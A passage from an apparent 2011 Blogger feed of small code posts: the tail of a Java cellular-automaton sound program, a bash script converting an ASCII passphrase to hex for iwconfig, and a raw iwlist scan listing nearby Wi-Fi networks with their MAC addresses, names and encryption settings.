                  else { rad=rad+0.1 ; volume++;frequency++; } // RULE 2
                        }
        }
                  } 
          }      
   }
        if (buf[i]&amp;gt;0) {currentPop++;} else {deaths++;} 
       buf[i] = (byte)( Math.sin( rad * frequency / byteSize  ) * volume  );
           }
  
      source.write( buf, 0, buf.length );
      source.write( buf, buf.length, 0 );
      source.write( buf, 0, currentPop );
      source.write( buf, deaths, 0 );
      firstRun = false;    
      System.out.println( "current pop:" + currentPop );
      System.out.println( "deaths:" + deaths );
      System.out.println( "iterations:" + iterations );

      }

      // source.drain();
      // source.stop();
      // source.close(); 
      
      
      
     }
     catch ( Exception e )
     {
      System.out.println( e );
     }

    }

 public static void main(String[] args) {
  int byteSize = 10000;
  double frequency = 500.0;
  double myRad = 0.2 * Math.PI;
  double volume = 256.0;
  Alife line1 = new Alife(byteSize, frequency, myRad, volume);
  line1.aByte();
 }


 
   }



&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-7074703655680639058?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/7074703655680639058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=7074703655680639058' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7074703655680639058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7074703655680639058'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/alife-cellular-automata-with-sound.html' title='aLife cellular automata with sound output'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6694576254940553933</id><published>2011-06-01T06:00:00.000-07:00</published><updated>2011-06-01T06:00:21.497-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='passphrase'/><category scheme='http://www.blogger.com/atom/ns#' term='key'/><category scheme='http://www.blogger.com/atom/ns#' term='hexdump'/><category scheme='http://www.blogger.com/atom/ns#' term='ascii'/><category scheme='http://www.blogger.com/atom/ns#' term='wireless'/><category scheme='http://www.blogger.com/atom/ns#' term='wep'/><category scheme='http://www.blogger.com/atom/ns#' term='hex'/><title type='text'>ascii to hex converter. useful for iwconfig key parameter</title><content type='html'>&lt;pre&gt;
#!/usr/bin/env bash

echo -n "$1 (64-bit) : " 
echo -n $1 | hexdump -e '5/1 "%02x" "\n"'
echo -n "$1 (128-bit): "
echo -n $1 | hexdump -e '13/1 "%02x" "\n"'
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6694576254940553933?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6694576254940553933/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6694576254940553933' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6694576254940553933'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6694576254940553933'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/06/ascii-to-hex-converter-useful-for.html' title='ascii to hex converter. useful for iwconfig key parameter'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6484994557716280128</id><published>2011-05-31T20:15:00.000-07:00</published><updated>2011-05-31T20:15:47.189-07:00</updated><title type='text'>iwlist scan output somewhere on earth</title><content type='html'>&lt;pre&gt;
bash-4.1# iwlist wlan0 scan
wlan0     Scan completed :
          Cell 01 - Address: 00:22:75:56:87:12
                    Channel:2
                    Frequency:2.417 GHz (Channel 2)
                    Quality=62/70  Signal level=-48 dBm  
                    Encryption key:on
                    ESSID:"Pimping Ain't Easy"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s
                              18 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=00000750bdc57165
                    Extra: Last beacon: 701ms ago
                    IE: Unknown: 001250696D70696E672041696E27742045617379
                    IE: Unknown: 010882848B961224486C
                    IE: Unknown: 030102
                    IE: Unknown: 32040C183060
                    IE: Unknown: 33082001020304050607
                    IE: Unknown: 33082105060708090A0B
                    IE: Unknown: DD270050F204104A000110104400010210470010775B6680BFDE11D38D2F002275568712103C000101
                    IE: Unknown: 050400010000
                    IE: Unknown: 2A0104
                    IE: Unknown: 2D1AEE1113FFFF0000010000000000000000000000000C0000000000
                    IE: Unknown: 3D1602000000000000000000000000000000000000000000
                    IE: Unknown: 7F0101
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101000003A4000027A4000042435E0062322F00
                    IE: Unknown: 0B05000059127A
                    IE: Unknown: DD1E00904C33EE1113FFFF0000010000000000000000000000000C0000000000
                    IE: Unknown: DD1A00904C3402000000000000000000000000000000000000000000
                    IE: Unknown: DD07000C4307000000
          Cell 02 - Address: 00:22:3F:A7:2A:79
                    Channel:4
                    Frequency:2.427 GHz (Channel 4)
                    Quality=36/70  Signal level=-74 dBm  
                    Encryption key:on
                    ESSID:"NETGEAR"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00000013698fd7b5
                    Extra: Last beacon: 483ms ago
                    IE: Unknown: 00074E455447454152
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030104
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 2A0100
                    IE: Unknown: 32043048606C
                    IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00
                    IE: Unknown: DD1E00904C334E101BFF00000000000000000000000000000000000000000000
                    IE: Unknown: 2D1A4E101BFF00000000000000000000000000000000000000000000
                    IE: Unknown: DD1A00904C3404051B00000000000000000000000000000000000000
                    IE: Unknown: 3D1604051B00000000000000000000000000000000000000
                    IE: Unknown: DD0900037F01010000FF7F
                    IE: Unknown: DD0A00037F04010000000000
                    IE: Unknown: DD820050F204104A000110104400010210570001001041000100103B00010310470010565AA94967C14C0EAA8FF349E6F593111021000D4E6574676561722C20496E632E10230007574E523130303010240007574E523130303010420004353637381054000800060050F204000110110007574E5231303030100800020084103C000103
          Cell 03 - Address: 00:24:B2:4E:86:0E
                    Channel:3
                    Frequency:2.422 GHz (Channel 3)
                    Quality=35/70  Signal level=-75 dBm  
                    Encryption key:on
                    ESSID:"Sassie"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 6 Mb/s; 9 Mb/s
                              11 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=00000011f87d7bb8
                    Extra: Last beacon: 479ms ago
                    IE: Unknown: 0006536173736965
                    IE: Unknown: 010882848B0C12961824
                    IE: Unknown: 030103
                    IE: Unknown: 0706555320010B1B
                    IE: Unknown: 200100
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 2A0100
                    IE: Unknown: 32043048606C
                    IE: Unknown: DD180050F2020101020003A4000027A4000042435E0062322F00
                    IE: Unknown: DD1E00904C334C101BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: 2D1A4C101BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: DD1A00904C3403080800000000000000000000000000000000000000
                    IE: Unknown: 3D1603080800000000000000000000000000000000000000
                    IE: Unknown: DD0900037F01010000FF7F
                    IE: Unknown: DD0A00037F04010000000000
                    IE: Unknown: DD820050F204104A000110104400010210570001001041000100103B00010310470010565AA94967C14C0EAA8FF349E6F593111021000D4E6574676561722C20496E632E10230007574E523230303010240007574E523230303010420004353637381054000800060050F204000110110007574E5232303030100800020084103C000103
          Cell 04 - Address: 00:1F:33:2B:B4:C4
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=27/70  Signal level=-83 dBm  
                    Encryption key:on
                    ESSID:"NETGE4R"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
                              9 Mb/s; 12 Mb/s; 18 Mb/s
                    Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=000000c3b0d9c177
                    Extra: Last beacon: 422ms ago
                    IE: Unknown: 00074E455447453452
                    IE: Unknown: 010882848B960C121824
                    IE: Unknown: 030106
                    IE: Unknown: 0406000200000000
                    IE: Unknown: 050400010000
                    IE: Unknown: 2A0100
                    IE: Unknown: 32043048606C
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 2D1A6E1803FFFF000000000000000000000000000000000000000000
                    IE: Unknown: 3D1606050600000000000000000000000000000000000000
                    IE: Unknown: DD1E00904C336E1803FFFF000000000000000000000000000000000000000000
                    IE: Unknown: DD1A00904C3406050600000000000000000000000000000000000000
                    IE: Unknown: DD06005043030000
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00
                    IE: Unknown: DD0E0050F204104A0001101044000102
          Cell 05 - Address: AC:81:12:05:EB:0E
                    Channel:9
                    Frequency:2.452 GHz (Channel 9)
                    Quality=70/70  Signal level=-33 dBm  
                    Encryption key:on
                    ESSID:"WiFiRSU_4a"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s
                              18 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=00000098b9dbb073
                    Extra: Last beacon: 180ms ago
                    IE: Unknown: 000A576946695253555F3461
                    IE: Unknown: 010882848B961224486C
                    IE: Unknown: 030109
                    IE: Unknown: 2A0100
                    IE: Unknown: 32040C183060
                    IE: Unknown: 2D1A6E1017FF00000001000000000000000000000000000000000000
                    IE: Unknown: 3D1609070600000000000000000000000000000000000000
                    IE: Unknown: 3E0100
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101030003A4000027A4000042435E0062322F00
                    IE: Unknown: 0B05010018127A
                    IE: Unknown: 4A0E14000A002C01C800140005001900
                    IE: Unknown: 7F0101
                    IE: Unknown: DD07000C4300000000
                    IE: Unknown: 0706313920010910
          Cell 06 - Address: 00:24:7B:2A:CE:CE
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=24/70  Signal level=-86 dBm  
                    Encryption key:on
                    ESSID:"jackies"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
                              36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=000000261691f0ca
                    Extra: Last beacon: 81ms ago
                    IE: Unknown: 00076A61636B696573
                    IE: Unknown: 010482848B96
                    IE: Unknown: 03010B
                    IE: Unknown: 2A0104
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 32080C1218243048606C
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
          Cell 07 - Address: 00:15:70:3D:60:60
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=16/70  Signal level=-94 dBm  
                    Encryption key:on
                    ESSID:"vpnator"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Mode:Master
                    Extra:tsf=0000122244bbd1a3
                    Extra: Last beacon: 65ms ago
                    IE: Unknown: 000776706E61746F72
                    IE: Unknown: 010482840B16
                    IE: Unknown: 03010B
                    IE: Unknown: 0504060A0000
                    IE: Unknown: 0706555349010B1E
                    IE: Unknown: AD0F00A0F8000007004900000047AEE54D
          Cell 08 - Address: 00:15:70:3D:4D:02
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=15/70  Signal level=-95 dBm  
                    Encryption key:on
                    ESSID:"yrneh09"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Mode:Master
                    Extra:tsf=0000122244ec4196
                    Extra: Last beacon: 58ms ago
                    IE: Unknown: 000779726E65683039
                    IE: Unknown: 010482840B16
                    IE: Unknown: 03010B
                    IE: Unknown: 0504030A0000
                    IE: Unknown: 0706555349010B1E
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: AD0F00A0F8000007004A00000046AEE54D
          Cell 09 - Address: 00:15:70:3D:60:62
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=18/70  Signal level=-92 dBm  
                    Encryption key:on
                    ESSID:"yrneh09"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Mode:Master
                    Extra:tsf=0000122244bc7763
                    Extra: Last beacon: 74ms ago
                    IE: Unknown: 000779726E65683039
                    IE: Unknown: 010482840B16
                    IE: Unknown: 03010B
                    IE: Unknown: 0706555349010B1E
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: AD0F00A0F8000006003F00000047AEE54D
          Cell 10 - Address: 00:15:70:3D:60:63
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=19/70  Signal level=-91 dBm  
                    Encryption key:on
                    ESSID:"vendcust"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Mode:Master
                    Extra:tsf=0000122244bc1df3
                    Extra: Last beacon: 71ms ago
                    IE: Unknown: 000876656E6463757374
                    IE: Unknown: 010482840B16
                    IE: Unknown: 03010B
                    IE: Unknown: 0706555349010B1E
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: AD0F00A0F8000006003F00000047AEE54D
          Cell 11 - Address: 00:22:75:70:B7:DE
                    Channel:1
                    Frequency:2.412 GHz (Channel 1)
                    Quality=25/70  Signal level=-85 dBm  
                    Encryption key:on
                    ESSID:"Haven"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s
                              18 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=00000400bccb9a2c
                    Extra: Last beacon: 681ms ago
                    IE: Unknown: 0005486176656E
                    IE: Unknown: 010882848B961224486C
                    IE: Unknown: 030101
                    IE: Unknown: 2A0104
                    IE: Unknown: 32040C183060
                    IE: Unknown: 2D1AEE1113FF000000010000000000000000000000000C0000000000
                    IE: Unknown: 3D1601050700000000000000000000000000000000000000
                    IE: Unknown: 3E0100
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101000003A4000027A4000042435E0062322F00
                    IE: Unknown: 7F0101
                    IE: Unknown: DD07000C4307000000
                    IE: Unknown: DD1E00904C33EE1113FF000000010000000000000000000000000C0000000000
                    IE: Unknown: DD1A00904C3401050700000000000000000000000000000000000000
                    IE: Unknown: DDB70050F204104A0001101044000101103B00010310470010775B6680BFDE11D38D2F00227570B7DE1021001442656C6B696E20496E7465726E6174696F6E616C10230018456E68616E63656420576972656C65737320526F757465721024000C463644343233302D342076311042000E32303932333432333031323833351054000800060050F20400011011001F42656C6B696E20456E68616E63656420576972656C65737320526F75746572100800020084103C000101
          Cell 12 - Address: 00:24:7B:64:9E:92
                    Channel:1
                    Frequency:2.412 GHz (Channel 1)
                    Quality=15/70  Signal level=-95 dBm  
                    Encryption key:on
                    ESSID:"megatron"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
                              36 Mb/s; 48 Mb/s; 54 Mb/s
                    Mode:Master
                    Extra:tsf=000006ee504f724a
                    Extra: Last beacon: 712ms ago
                    IE: Unknown: 00086D65676174726F6E
                    IE: Unknown: 010482848B96
                    IE: Unknown: 030101
                    IE: Unknown: 050C000300000000000000000000
                    IE: Unknown: 2A0104
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 32080C1218243048606C
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101800003A4000027A400004243B40062326400
                    IE: Unknown: DD0E0050F204104A0001101044000102
          Cell 13 - Address: 98:FC:11:89:F0:57
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=48/70  Signal level=-62 dBm  
                    Encryption key:off
                    ESSID:"BlueGiraffe-guest"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=000001938ffd5eb8
                    Extra: Last beacon: 374ms ago
                    IE: Unknown: 0011426C7565476972616666652D6775657374
                    IE: Unknown: 010882848B962430486C
                    IE: Unknown: 030106
                    IE: Unknown: 2A0106
                    IE: Unknown: 2F0106
                    IE: Unknown: 32040C121860
                    IE: Unknown: 2D1A7C181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: 3D1606001700000000000000000000000000000000000000
                    IE: Unknown: 4A0E14000A002C01C800140005001900
                    IE: Unknown: 7F0101
                    IE: Unknown: DD090010180201F0040000
                    IE: Unknown: DD180050F2020101000003A4000027A4000042435E0062322F00
                    IE: Unknown: DD1E00904C337C181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: DD1A00904C3406001700000000000000000000000000000000000000
          Cell 14 - Address: 98:FC:11:8C:63:24
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=61/70  Signal level=-49 dBm  
                    Encryption key:on
                    ESSID:"No soup for you!"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=00000ac4ef359b6d
                    Extra: Last beacon: 308ms ago
                    IE: Unknown: 00104E6F20736F757020666F7220796F7521
                    IE: Unknown: 010882848B962430486C
                    IE: Unknown: 030106
                    IE: Unknown: 2A0106
                    IE: Unknown: 2F0106
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 32040C121860
                    IE: Unknown: 2D1AFC181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: 3D1606001300000000000000000000000000000000000000
                    IE: Unknown: 4A0E14000A002C01C800140005001900
                    IE: Unknown: 7F0101
                    IE: Unknown: DD700050F204104A00011010440001021041000100103B000103104700109225A088D4BC767AD8D839C93666FEAE102100074C696E6B737973102300054531303030102400063132333435361042000234321054000800060050F2040001101100054531303030100800020084103C000101
                    IE: Unknown: DD090010180201F0040000
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101000003A4000027A4000042435E0062322F00
          Cell 15 - Address: 98:FC:11:89:F0:56
                    Channel:6
                    Frequency:2.437 GHz (Channel 6)
                    Quality=48/70  Signal level=-62 dBm  
                    Encryption key:on
                    ESSID:"BlueGiraffe"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=000001938ffd4fc6
                    Extra: Last beacon: 377ms ago
                    IE: Unknown: 000B426C756547697261666665
                    IE: Unknown: 010882848B962430486C
                    IE: Unknown: 030106
                    IE: Unknown: 2A0106
                    IE: Unknown: 2F0106
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 32040C121860
                    IE: Unknown: 2D1A7C181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: 3D1606001700000000000000000000000000000000000000
                    IE: Unknown: 4A0E14000A002C01C800140005001900
                    IE: Unknown: 7F0101
                    IE: Unknown: DD6B0050F204104A00011010440001021041000100103B000103104700106BA02485604FE9A609F41C5E4AE002CC102100074C696E6B737973102300054531303030102400063132333435361042000234321054000800060050F2040001101100054531303030100800020084
                    IE: Unknown: DD090010180201F0040000
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : CCMP TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101000003A4000027A4000042435E0062322F00
                    IE: Unknown: DD1E00904C337C181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: DD1A00904C3406001700000000000000000000000000000000000000
          Cell 16 - Address: 00:15:70:3D:4D:00
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=23/70  Signal level=-87 dBm  
                    Encryption key:on
                    ESSID:"vpnator"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Mode:Master
                    Extra:tsf=0000122244eab194
                    Extra: Last beacon: 109ms ago
                    IE: Unknown: 000776706E61746F72
                    IE: Unknown: 010482840B16
                    IE: Unknown: 03010B
                    IE: Unknown: 0504010A0000
                    IE: Unknown: 0706555349010B1E
                    IE: Unknown: AD0F00A0F8000007004A00000046AEE54D
          Cell 17 - Address: E0:91:F5:EF:9A:B4
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=26/70  Signal level=-84 dBm  
                    Encryption key:on
                    ESSID:"myracooley"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s
                              24 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=0000096e6033419c
                    Extra: Last beacon: 104ms ago
                    IE: Unknown: 000A6D797261636F6F6C6579
                    IE: Unknown: 010882848B962430486C
                    IE: Unknown: 03010B
                    IE: Unknown: 050401020000
                    IE: Unknown: 2A0100
                    IE: Unknown: 2F0100
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : CCMP
                        Pairwise Ciphers (1) : CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: 32040C121860
                    IE: Unknown: 2D1A7C181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: 3D160B081100000000000000000000000000000000000000
                    IE: Unknown: 4A0E14000A002C01C800140005001900
                    IE: Unknown: 7F0101
                    IE: Unknown: DD270050F204104A00011010440001021047001060D3296B96668C639F22427AC0F3ACA2103C000103
                    IE: Unknown: DD090010180200F0050000
                    IE: Unknown: DD180050F2020101800003A4000027A4000042435E0062322F00
                    IE: Unknown: DD1E00904C337C181BFFFF000000000000000000000000000000000000000000
                    IE: Unknown: DD1A00904C340B081100000000000000000000000000000000000000
          Cell 18 - Address: 00:22:2D:AF:9B:D4
                    Channel:10
                    Frequency:2.457 GHz (Channel 10)
                    Quality=23/70  Signal level=-87 dBm  
                    Encryption key:on
                    ESSID:"mrspeace"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 9 Mb/s
                              18 Mb/s; 36 Mb/s; 54 Mb/s
                    Bit Rates:6 Mb/s; 12 Mb/s; 24 Mb/s; 48 Mb/s
                    Mode:Master
                    Extra:tsf=00000acb6208115e
                    Extra: Last beacon: 84ms ago
                    IE: Unknown: 00086D72737065616365
                    IE: Unknown: 010882848B961224486C
                    IE: Unknown: 03010A
                    IE: Unknown: 32040C183060
                    IE: Unknown: 0706555320010B14
                    IE: Unknown: 050400010000
                    IE: Unknown: 2A0104
                    IE: Unknown: 2D1A6C0117FF000000000000000000000000000000000C0000000000
                    IE: Unknown: 3D160A000000000000000000000000000000000000000000
                    IE: Unknown: 7F0101
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (2) : TKIP CCMP
                        Authentication Suites (1) : PSK
                    IE: Unknown: DD180050F2020101000003A4000027A4000042435E0062322F00
                    IE: Unknown: 0B05000027127A
                    IE: Unknown: DD1E00904C336C0117FF000000000000000000000000000000000C0000000000
                    IE: Unknown: DD1A00904C340A000000000000000000000000000000000000000000
                    IE: Unknown: DD07000C4307000000
          Cell 19 - Address: 00:15:70:3D:60:61
                    Channel:11
                    Frequency:2.462 GHz (Channel 11)
                    Quality=20/70  Signal level=-90 dBm  
                    Encryption key:on
                    ESSID:"nomad5"
                    Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
                    Mode:Master
                    Extra:tsf=0000122244bccfc2
                    Extra: Last beacon: 76ms ago
                    IE: Unknown: 00066E6F6D616435
                    IE: Unknown: 010482840B16
                    IE: Unknown: 03010B
                    IE: Unknown: 0706555349010B1E
                    IE: IEEE 802.11i/WPA2 Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK
                    IE: Unknown: AD0F00A0F8000006003F00000047AEE54D
                    IE: WPA Version 1
                        Group Cipher : TKIP
                        Pairwise Ciphers (1) : TKIP
                        Authentication Suites (1) : PSK

